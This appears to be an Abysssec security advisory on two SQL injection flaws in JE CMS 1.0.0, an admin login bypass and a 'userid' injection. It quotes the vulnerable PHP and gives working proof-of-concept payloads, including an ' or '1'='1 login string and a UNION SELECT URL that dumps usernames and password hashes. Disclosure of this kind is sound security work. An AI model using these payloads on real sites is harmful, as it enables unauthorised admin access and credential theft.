MOAUB

Abysssec Research

1) Advisory information

Title	: JE CMS 1.0.0 Bypass Authentication by SQL Injection Vulnerability
Affected	: JE CMS <= 1.0.0
Discovery	: www.abysssec.com
Vendor	: http://www.joenasejes.cz.cc
Impact	: Critical
Contact	: shahin [at] abysssec.com , info [at] abysssec.com
Twitter	: @abysssec

2) Vulnerability Information

Class

1- **Bypass Authentication by SQL Injection Vulnerability**

2- **SQL injection in administrator\index.php on "userid" parameter:**

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Remotely Exploitable

Yes

Locally Exploitable

No

3) Vulnerabilities detail

1- Bypass Authentication by SQL Injection Vulnerability:

in administrator\login.php page:

```
lines 16-20:
if (isset($_REQUEST['username'])) {
        $username = $_REQUEST['username'];
        $password = $_REQUEST['password'];
        $result = $core->userLogin();


userLogin() function is in administrator\library\functions.php. in lines 129-139:
                if ($userName == '' || $password == '') {
                        $errorMessage = JE_MISMATCH_USERNAME_PASSWORD;
                }  else {
                        // check the database and see if the username and password combo do match
                        $sql = "SELECT userid
                                        FROM users
                                        WHERE username = '".$userName."'                // vulnerability
is here
                                        AND password = '".$this->getHash($password)."'          //
vulnerability is here
                                        AND usertype = 1
                                        AND block = 0";
                        $result = $this->JEQuery($sql);
```

PoC

in administrator/login.php:

```
username: admin' or '1'='1
password: admin' or '1'='1
```

1- SQL injection in administrator\index.php on "userid" parameter:

in administrator\index.php file :

```
line 12:

$userid                 =       $_REQUEST['userid'];
lines 52-53:
        case 'edituser' :
                $user = $core->getUser($userid);

getUser function is in administrator\library\functions.php file. lines 578-583:

        function getUser($id){
                $sql = "SELECT *
                          FROM users
                          WHERE userid = ".$id;   // vulnerability is here
                $result = $this->JEQuery($sql);
```

POC:

```
http://site/joenas-ejes/administrator/index.php?jepage=edituser&userid=1 and 1=2 UNION SELECT
1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12 from users--
```